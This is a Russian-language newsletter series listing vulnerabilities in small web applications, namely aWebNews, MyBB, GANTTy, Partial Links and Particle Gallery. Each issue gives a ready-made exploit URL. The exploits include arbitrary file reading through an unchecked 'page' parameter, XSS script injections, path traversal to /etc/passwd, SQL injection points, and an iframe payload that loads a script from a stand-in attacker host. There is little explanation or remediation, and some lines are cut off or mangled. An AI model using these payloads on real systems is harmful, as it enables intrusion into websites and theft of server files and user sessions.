Компьютер для продвинутых пользователей В этом выпуске: aWebNews ПО: aWebNews Версия: 1.0 Уязвимость: Уязвимость позволяет читать любые файлы пользователя. Баг заключается в ошибке кода в login.php: - start - if _GET'page] = ) { $pagetogo = "index.php"; } else { $pagetogo = _GET'page]; } - end - Использование: Откройте браузер на: http://example.org/aWebNews/login.php?page=/aWebNews/[some file] Теперь введите логин и пароль, нажмите enter. теперь вы можете читать [some files] в директории программы. Не заб...

Компьютер для продвинутых пользователей В этом выпуске: MyBB ПО: MyBB Версия: 1.1.2 Использование: /mybb/private.php?to=asda&subject=asd%3E&font-&size-&color-&mode=advanced&message=sd&options%5Bsavecopy%5D=yes&options%5Breadreceipt%5D=yes&action=do_send&pmid=&do=D3vil-0x1%22%3E%3Cscript%3Ealert(1);%3C/script%3E...

Компьютер для продвинутых пользователей В этом выпуске: GANTTy ПО: GANTTy Версия: 1.0.3 Сайт: http://www.gantty.com Использование: http://www.example.com/index.php?action=login&message=<IMG SRC=javascript:alert'XSS+email...

Компьютер для продвинутых пользователей В этом выпуске: Partial Links ПО: Partial Links Версия: 1.2.2 Сайт: http://www.particlesoft.net/particlelinks/ Использование: http://www.example.com/Other_Sites/X%2526_Y/./././././etc/passwd/ http://www.example.com/index.php?topic[SQL] http://www.example.com/includes/page_footer.php Не забудьте проголосовать за выпуск! Рассылка создана и ведется при поддержке Информационной сети Пермского края . Меня можно найти: ICQ - 273214003 e-mail - isdmi1:mail.ru ...

Компьютер для продвинутых пользователей В этом выпуске: Particle Gallery ПО: Particle Gallery Версия: 1.0.0 Сайт: http://www.particlesoft.net/particlegallery/ Использование: http://www.example.com/viewimage.php?imageid[SQL] http://www.example.com/viewimage.php?imageid=<iframe%20src=http://evilsite.com/scriptlet.html> http://www.example.com/viewalbum.php?albumid././././etc/passwd / Не забудьте проголосовать за выпуск! Рассылка создана и ведется при поддержке Информационной сети Пермского края . Меня можн...